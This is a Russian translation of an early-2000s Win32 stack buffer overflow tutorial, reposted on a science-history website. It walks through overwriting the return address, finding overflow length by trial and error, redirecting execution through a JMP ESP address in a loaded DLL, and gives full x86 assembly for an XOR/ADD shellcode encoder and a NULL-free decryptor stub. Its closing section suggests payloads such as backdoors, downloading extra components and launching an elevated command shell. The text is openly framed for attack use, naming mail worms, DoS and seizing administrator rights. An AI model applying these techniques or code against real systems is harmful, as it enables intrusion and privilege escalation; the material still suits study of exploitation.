Вводный курс в переполнение буфера под Win32


Впервые с этой статьей можно было познакомиться еще в середине 2002-го года, на ныне канувшем в лету WASM.RU. Оригинал статьи принадлежит Asmodeus iKX, с переводом Aquila. Представляем все без редактирования и изменений. Цель — основы переполнения буфера и теория использования.

Основы : Введение

«Anarchists of the world unite!,
Arsonists of the world, ignite!»

«В совершенном молчании Петер медитировал в своей темной комнате. Он готовился к битве, которая должна была проходить не на этой стороне реальности, что требовало не меньшей выдержки и хладнокровия. Он был известным лидером, изучавшим тайны «черных искусств». Наконец он смог закончить превращение и полностью вошел в свою цифровую форму. В этом мире был известен как Belzath, хорошо известный создатель вирусов, создавший несколько очень сложных и «успешных» из них. В отличии от своего компаньона на этой стороне реальности он сражался с помощью вызываемых им сил, а не принимал участие в битве лично. Он был как зловещий паук, который наблюдает из безопасного укрытия тьмы. Его компаньон, так называемый темный мастер и искусный хакер, предпочитал открытую схватку. Сегодняшний курс посвящен тому, как поработить разум ничего не подозревающих врагов. Голос хакера отражался в голове Belzath’а: «Знать своего врага — значить победить его», темный мастер сформировал сгусток силы, известной как ассемблер, «Сердце создания можно достичь, используя силу ассемблера!». В яркой вспышке света Belzath получил опыт темного мастера, которым тот по-дружески поделился, впитал его и медленно исчез во тьме.»

Мой урок будет состоять в том, как поработить процессор и контролировать его на расстоянии. С помощью знания, которое вы получите, прочитав эту статью, вы сможете трансформировать почтовый сервер в ‘spawning pool’ почтовых червей или, возможно, стартовую площадку вирусов. Сила DoS лежит в ваших руках. Но только то, что вы получили силу, не значит, что вы дожны злоупотреблять ей, это будет только ваше собственное решение и не вините меня, если из-за своих действий вы попадете в большие неприятносит. Переполнение буфера можно также использовать на локальной машине, чтобы получить права администратора. На NT часто бывает множество уровней доступа администратора и пользователей. Некоторые программы должны быть установлены с правами администратора, а поэтому должны запускаться на этом же уровне. Если вы сможете перехватить EIP (extended instruction pointer) из этой программы, вы сможете выполнять действия на уровне администратора, NT-станция будет в ваших руках…

Так что же такое переполнение буфера? Когда программа должна сохранить определенные данные, она может поместить их в прекомпилированные статические буферы в секции .DATA или использовать динамически зарезервированные буферы стеке (не путайте это с глобальной и виртуальной памятью, которая резервируется в RAM). Ладно, а что же такое стек? Это память, но она отлична от обычной памяти. Во-первых, она поделена на массивы DWORD’ов. Это значит, что вы не можете поместить в стек BYTE. Конечно, вы можете поместить в него 01h, но это значение будет выравнено до 00000001h. Что еще вам нужно знать о стеке? Во-первых, он растет от верхних адресов к нижним, от крыши до пола. Когда вы помещаете что-нибудь на вершине стека, вы, как правило, PUSH’ите это, а забиоаете назад с помощью инструкции POP. Вы должны учитывать то, как данные располагаются в стеке. Когда вы помещаете что-нибудь в стек, то чтобы получить доступ к элементу под ним, вам сначала нужно удалит только что помещенный. Это называется «последний вошел — первый вышел». Обратите внимание, что все, что находится в стеке — в формате ‘big endian’, т.е. перевернуто. Ну, не действительно переверунто, это всго лишь вопрос перспективы :). Адрес 11223344h будет выглядеть в стеке как 44332211h, поняли? KERNEL32.DLL можно рассматривать как первую главу книги, названной «Кошмар смерти — издание Windows», потому что ваша программа запускается с помощью API-вызова (возожно, CreateProcessA?) и Windows резервирует определенное количество стековой памяти, которое указано в заголовке PE (stack-commit, stack-reserve). ESP содержит стековый указатель, который указывает на его вершину (помните, он растет сверху вниз), обычно HLL’ы используют EBP в качестве указателя на стек кадра, но виркодеры обычно держат в нем дельта-смещение. Как бы то ни было, когда вы вызываете API или другую HLL-процедуру, будет создан соответствующий стековый фрейм. Это встроенный процесс под названием «пролог процедуры», обычно сохраняется старое значение EBP, а в этот регистр помещает значение ESP (EBP статичен, в то время как ESP будет меняться). В дальнейшем я расскажу вам больше о фреймах стека. Нет «универсального правила», какими они должны быть, но большинство HLL-компиляторов создает их строго определенным образом. Конечно, вы не можете избежать помещения адреса возврата на фрейм стека и параметров, но обычно виркодеры не используют EBP как указатель на фрейм стека. EBP также исзвестен как Extended BasePointer.

Так как виркодеры не являются нашими врагами, то об это нам волноваться не надо. Знай своего врага, помните? Ок, адрес возврата и параметра лежат на стеке, что дальше? Будем надеяться, что процедура использует какой-нибудь динамический буфер и «вырезает» дыру в стеке прямо снизу сохраненного EBP (я объясную структуру фрейма стека ниже). Предположим, что буфер содержит 3 WORD’а (3*4) = 12 байтов, что случиться, если вы впихнете в буфер 24 байта?

ПЕРЕПОЛНЕНИЕ БУФЕРА!!! Вы пишете за пределы границ буфера и в запрещенную территорию, но нет никого, чтобы охранять драгоценные данные, а что еще лучше, вы можете выполнить код на стеке, классно! Если вы правильно переполните буфер, вы легко сможете изменить адрес возврата и перехватить EIP процесса, т.е. его выполнение! вы може

Идем дальше : Глава I

(Основная цель : разведуем область)

Основная цель : разведуем область

Так что насчет фреймового стека, о котором я говорил? Как он выглядит, как он создается, и для чего он нужен? Хорошо, вот как он построен:

 push   00000003h ; PUSH параметр 3 в стек
 push   00000002h ; PUSH параметр 2 в стек
 push   00000001h ; PUSH параметр 1 в стек
 call   function  ; Адрес возврата заPUSHен в стек (OFFSET 00400300h)
 ;OFFSET 00400300h

 ret              ; Возвращаемся в предыдущий фрейм (KERNEL32.DLL API)


 function proc local_var:DWORD
 push   ebp       ; PUSH старый EBP в стек
 mov    ebp,esp   ; устанавливаем EBP (base pointer->frame-pointer), чтобы он
                  ; был равен текущему значению стекового указателя.

 sub    esp,12d   ; открываем стековый буфер

; Выполняем некое действие

 add    esp,12d   ; закрываем стековый буфер

 pop    ebp       ; Restore old EBP from stack (previous frame-pointer)
 ret              ; RETURN to the return address on stack (next paper on
                  ; the pile)
 pop    ebp       ; Восстанавливаем старый EBP из стека (предыдущий фреймовый
 ret              ; указатель. RETURN на старый адрес, лежащий на стеке
                  ; (следующий элемент)
function endp

Вот как это выглядит:

 ------------------------------------------------
 |    Графическое отображение фрейма стека      |
 |   .........                        .......   |
 |   Параметр3                        4 bytes   | OFFSET : 01000020d
 |   Параметр2                        4 bytes   | OFFSET : 01000016d
 |   Параметр1                        4 bytes   | OFFSET : 01000012d
 |   Адрес возврата                   4 bytes   | OFFSET : 01000008d
 |   Старый EBP                       4 bytes   | OFFSET : 01000004d
 -------------------------------------------------
 |   Буфер                           12 bytes   | OFFSET : 01000000d
 |----------------------------------------------|

Вы PUSHите параметры в стек, вызываете процедуру, инструкция call помещает адрес на стек и переходит к адресу fuction(). function() выполняется стандартный HLL’овский «пролог процедуры», который заключается в помещении теущего значения EBP на стек, а затем загрузки в него ESP. Наша function() делает 12-байтную дыру в стеке для нашего буфера, а затем заполняет ее снова, потом восстанавливает старый EBP из стека и выполняет операцию, которая передает контроль по адресу возврата, который лежит непосредственно на стеке (адрес возврата иногда называют адресом инструкции). Теперь вы знаете, как выглядит фрейм стека, как его строят и зачем. Между прочим, EBP используется для ссылки на локальные переменные и параметры.

Глава II

(Основная цель : Нахождение переполнения буфера) (Вторичная цель : Буфер переполнения)

Основная цель : Нахождение буфера переполнения

Для простоты я использую состояние переполнения буфера и фрейм стека, приведенные выше. Так как буфер может содержать определенное количество байтов/символов, вы должны дизассемблировать функцию и «вручную» проверить, насколько велик буфер, или вы можете узнать это с помощью «грубой силы», что означает путь проб и ошибок. Как бы то ни было, в конце концов вы должны узнать длину буфера. Обратите внимание, что переполнение буфера возникает только тогда, когда длина буфера не проверяется. Некоторые из таких функций API — это lstrcpy, lstrcat и все HLL-функции, которые используют их или сами подвержены тому же недостатку (gets(), sprintf() и vsprintf()).

Вот модифицированная версия вышеприведенной процедуры function(). Полный исходник данной программы называется BOAL.ASM и его можно найти здесь.

buffer_proc PROC parameter_1:DWORD

; int     3h
; устанавливает брикпоинт в программе, чтобы вы могли изучить ее в действии,
; если не хотите искать, когда переполняется буфер путем проб и ошибок

push    ebp
mov     ebp,esp

mov     esi,dword ptr [parameter_1] ; Указатель на адрес строки в памяти
                                    ; (строка заканчивается NULL)
sub     esp,12d                     ; Размер буфера - узнайте его с помощью
mov     edi,esp                     ; метода номер 1.

stuff_it_in:
cmp     byte ptr [esi],0            ; Ищем NULL, завершающий строку
je      found_copy_end              ; Если нашили, то мы в конце строки
cmp     byte ptr [esi],0dh          ; Проверяем на перевод строки
je      found_copy_end              ; Если нашли, то мы в конце строки
cmp     byte ptr [esi],0ah          ; Проверяем на возврат каретки
je      found_copy_end              ; Если нашли, то мы в конце строки
movsb                               ; Продолжаем
jmp     stuff_it_in

found_copy_end:
;int     3h

add     esp,12d                     ; корректируем стек

pop     ebp                         ; Получаем старое значение EBP
ret                                 ; RETURN на сохраненный адрес инструкции

buffer_proc endp

Вы вы вызываете вышеприведенную процедуру примерно так:

lea     eax,string_i_want_to_copy
push    eax
call    buffer_proc

В C она выглядит следующим образом:

ReturnVal = buffer_proc(mem_address);

Где mem_address — это 32-х битное целое число, указывающее на адрес в памяти, по которому находится ваша строка, оканчивающаяся NULL’ом. Вы можете использовать функцию GetCommandLineA, чтобы убыстрить тестирование различных длин строк. Вы можете также написать брутофорсер, который будет постоянно скармливать buffer_proc() строки различныой длины и печать строки, которые вызывают ошибку нарушения доступа (требуется специальный SEH-обработчик). Убедитесь, что вы заполнили буфер значениями, которые вы сможете распознать в HEX-кодировке. Например, если заполнили его символами «x», EIP должен быть переправлен на адрес 78787878h, если он полностью перезаписан.

Примеры использования метода #2 приведены в BOAL.ASM.

boal.exe /x

>no result<
1 byte character

...

boal.exe /xxxxxxxxxxxxxxxx

>result = EBP = 78787878h<
16 байт символов

boal.exe /xxxxxxxxxxxxxxxxxxxx

>result = EBP = 78787878h<
>         EIP = 78787878h<
>Access violation at address 78787878h<
20 байт символов

Вторичная цель : Буфер переполнения

Первым перезаписывается EBP, а за ним следует EIP… Ок, теперь имеет смысл взглянуть на фрейм стека и как он выглядит после переполнения

 -------------------------------------------------
 |     Stack-frame graphical display             |
 |   parameter_1           (87654321h) 4 bytes   | OFFSET : 01000012d
 |   Return Address [xxxx] (78787878h) 4 bytes   | OFFSET : 01000008d
 |   Old EBP        [xxxx] (78787878h) 4 bytes   | OFFSET : 01000004d
 -------------------------------------------------
 |   Buffer [xxxxxxxxxxxx] (78h)*12   12 bytes   | OFFSET : 01000000d
 |-----------------------------------------------|

Если буфер был бы больше, мы могли бы вместить в него некоторый код и изменить адрес возврата на начало буфера. Но с 12-ю байтами нам много не удастся :), поэтому мы будем вынуждены перезаписать нашим кодом стек до адреса возврата. Параметр_1 будет перезаписан, но в нашем примере он уже был использован, и будем надеяться, что продура больше не будет его использовать до самой инструкции ret. Сейчас мы столкнулись с первой проблемой, если адрес, которым мы хотим переписать EIP, содержит байт NULL, мы не можем поместь код до этого, потому что он будет считаться разделителем, и это даже может повредить новому адресу в EIP. МЫ уперлись в стену, что же делать~? Чтобы найти решение этой проблемы, мы должны запустить отладчик и взглянуть на состояние регистров процессора во время переполнения буфера. Часть ESP указывает на начало буфера, а EDI — на его конец. Если вы найдете регистр, который указывает на что-нибудь внутри буфера, мы сможем заполнить его NOP’ами (0x90h) и инструкцией перехода на код после адреса возврата. ESP может часто выполнять эту функцию, но как значение регистра процессора можно использовать в наших целях? Мы должны быть умны, ведь вы умны, не так ли? Вы же скачали Xine#5 (зашли на мой сайт — прим. переводчика). Давайте представим, что ESP содержит адрес начала буфера, и мы заполнили буфер до старого EBP и адреса возврата NOP’ами и JMP на 10 байт после адреса возврата.

Самое лучшее — если программа использует DLL’ы, в которой есть требуемая последовательность опкодов по адресу без байтов NULL. Чтобы найти такую последовательность, скомпилируйте какой-нибудь код, который содержит опкод (JMP ESP, например), затем стартуйте ваш отладчик и проверьте шестнадцатиричное значение. У NOP’а, например, шестнадцатиричное значение 90h, чтобы найти этот опкод внутри DLL или программы, вы должны использовать ваш дебуггер или гексредактор и найти с его помощью опкод. У SoftIce есть команда s, напечатайте HELP s, чтобы получить больше инсформации. Как только вы нашли адрес в памяти, в котором содержится желаемый опкод, и нет NULL-байта, вы можете использовать его в качестве нового адреса возврата в вашем эксплойтном коде. Таймаут! Я надеюсь, что вы не потеряли нить рассуждений, давайте повторим это еще раз… Если адрес в стеке, который мы хотели сделать новым адресом возврата содержит NULL, а буфер слишком мал, чтобы вместить весь наш код, мы должны выполнить стековый переход. Это означает, что мы должны найти регистр процессора, указывающий на адрес памяти, которую мы можем заполнить нашим кодом. Как только мы нашли такой регистр, мы должны найти адрес памяти внутри какой-нибудь DLL, которая выполняет JMP >REG< или CALL >REG<, где >REG< — это регистр, содержащий адрес, который мы хотим сделать адресом возврата. Ок, теперь у нас есть адрес, указывающий на опкод JMP >REG< и не содержащий NULL-байтов, а >REG<, указывающий на наш код…

Глава III

(Основная цель : Как разрешить ситуацию с плохими опкодами) (Вторичная цель : Написание «полезной нагрузки»)

Основная цель : Как разрешить ситуацию с плохими опкодами

Мы перенаправили адрес возврата на наш код, но он наш код должен быть неприкосновенен, чтобы успешно выполнить свою задачу в дальнейшем… так как он может быть неприкосновенен? Во время переполнения буфера код передается API- или иной процедуре. И что? Переполнения буфера часто происходят во время обработки строк, которые копируют/перемещают байты строки, пока не доходят до NULL. Некоторые API также останавливаются на байтах CR или LF (0dh, 0ah). Если ваш код содержит какие-либо байты NULL, что бывает всегда (хорошо, почти всегда), вам придется зашифровать его. Лучший метод — это комбинировать XOR и ADD, с помощью которых можно сделать зашифрованный код, в котором почти не будет символов NULL/CR/LF.

call generate_decryptor

ret

generate_decryptor:

;int     3h

xor     edx,edx
mov     eax,arcane_total_size
add     eax,1d
push    eax
push    edx
call_   arcane_GlobalAllocA

; Резервируем arcane_total_size + 1 байтов памяти для зашифрованного кода

mov     dword ptr [ebp+arcane_cryptmem],eax
; сохраняем адрес памяти

call    find_enc_keys
test    eax,eax
je      all_keys_bad

; проверяем, нашли ли мы схему шифрования

;int     3h

mov     byte ptr [ebp+xor_val],al
mov     byte ptr [ebp+add_val],bl

; Мы нашли схему и сохраняем значения

all_keys_bad:

; или мы нашли ключи или нет

ret


find_enc_keys:
xor     eax,eax
restart_search:
lea     esi,[ebp+arcane_project]
mov     edi,dword ptr [ebp+arcane_cryptmem]
mov     ecx,arcane_total_size
cld
rep     movsb

; Копируем наш код в зарезервированную память

mov     edi,dword ptr [ebp+arcane_cryptmem]
mov     ecx,arcane_total_size
find_key:
inc     eax
enc_body:
xor     byte ptr [edi], al
inc     edi
loop    enc_body

; Шифруем XOR'ом (XOR-значение в AL)

mov     edi,dword ptr [ebp+arcane_cryptmem]
mov     ecx,arcane_total_size

check_if_valid_enc:
cmp     al,255d
jae     no_more_byte_key
loop_the_enc_body:
cmp     byte ptr [edi],0
je      found_invalid_byte
cmp     byte ptr [edi],0ah
je      found_invalid_byte
cmp     byte ptr [edi],0dh
je      found_invalid_byte
inc     edi
loop    loop_the_enc_body
jmp     found_enc_key

; Проверяем, правильный ли получился код или он содержит нежелательные байты

found_invalid_byte:
call    test_adds
test    ebx,ebx
je      restart_search

found_enc_key:
ret

no_more_byte_key:
xor     eax,eax
ret


test_adds:
xor     ebx,ebx

find_add:
mov     edi,dword ptr [ebp+arcane_cryptmem]
mov     ecx,arcane_total_size
inc     ebx
add_body:
add     byte ptr [edi], bl
inc     edi
loop    add_body

; Делаем шифрование кода с помощью ADD (причем мы уже зашифровали его XOR)

mov     edi,dword ptr [ebp+arcane_cryptmem]
mov     ecx,arcane_total_size

check_if_valid_add:
cmp     bl,255d
jae     no_more_add_byte
loop_the_add_body:
cmp     byte ptr [edi],0
je      found_invalid_add
cmp     byte ptr [edi],0ah
je      found_invalid_add
cmp     byte ptr [edi],0dh
je      found_invalid_add
inc     edi
loop    loop_the_add_body
jmp     found_add_key

; Проверяем, верен ли наш код, или он содержит нежелательные байты

found_invalid_add:

mov     edi,dword ptr [ebp+arcane_cryptmem]
mov     ecx,arcane_total_size
sub_body:
sub     byte ptr [edi], bl
inc     edi
loop    sub_body
jmp     find_add

; Расшифровываем тело, чтобы мы могли применить другой ADD-значение

found_add_key:
ret

no_more_add_byte:
xor     ebx,ebx
ret

;db "decryptor_start",0

decryptor_start:

xor     eax,eax
xor     ecx,ecx
jmp     get_loc
got_loc:
pop     esi

mov     cx,arcane_total_size
xor_it:
sub     byte ptr [esi],0h
add_val equ $-1
xor     byte ptr [esi],0h
xor_val equ $-1
inc     esi
loop    xor_it

jmp     encrypted_start

get_loc:
call    got_loc
encrypted_start:

decryptor_end:

;db "decryptor ends here",0

decryptor_len   equ $-offset decryptor_start

Так как код декриптора не может содержать NULL-байтов, мы должны быть находчивы как это только возможно. Чтобы получить смещения, по которым находятся NULL-байты, мы должны использовать то, как CALL помещает адрес возврата на стек и POPит его в регистр. Например:

jmp     get_my_offset
got_it:
pop     edi ; EDI = THIS OFFSET
; остальное тело нашего декриптора
get_my_offset:
call    got_it
;THIS OFFSET
db "encrypted code here",0

Наш зашифрованный код находится в памяти, так же рак и его декриптор. Что дальше? «Полезная нагрузка»… Нам нужен какой-то код, который будет выполнен. Давайте дадим волю воображению.

Вторичная цель : Написание «полезной нагрузки»

Теперь, когда контроль в ваших руках, и ваш код может выполниться, то чего вы ждете? Теперь можно, например, открыть соединение с интернетом и скачать дополнительный компонент, это называется EGG-процедура. Вы также можете открыть backdoor, а если вы находитесь на машине, отключенной от интернета, вы можете выполнить какой-нибудь бат-файл, с командами, которые должны быть исполнены с более высокими правами. Если вы находитесь на NT-машине, вы можете запустить командную строку (CMD.EXE), которая запустится на более высоком уровне уровне доступа, как и все, что вы будете делать с ее помощью. Я не буду объяснять, как получить API-адрес. Вы можете достать их из KERNEL32.DLL тем же методом, который применяется в win32-вирусах. Вы можете достать их из таблицы импорта программы, к которой был применен эксплойт, но иногда в них нет всех необходимых API. Тогда вам нужно посмотреть LoadLibrary и GetProcAddress. Я оставляю это на вас.

Дополнение

NULL-байт = NULL Terminator 0x00h
CR        = Carrier Return  0x0dh
LF        = Line Feed       0x0ah
Opcode    = Operation code
EIP       = Exstended Instruction Pointer
WORD      = Слово (2 байта)
DWORD     = Двойное слово (4 байта)
RAM       = Random Access Memory (temporary storage [one boot-session])
HLL       = Highlevel language (как C++, Delphi и так далее)

[C] Asmodeus iKX, пер. Aquila

Источник WASM.RU

Поделиться в соц сетях

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Есть идеи, замечания, предложения? Воспользуйтесь формой Обратная связь или отправьте сообщение по адресу replay@sciencestory.ru
© 2017 Истории науки. Информация на сайте опубликована в ознакомительных целях может иметь ограничение 18+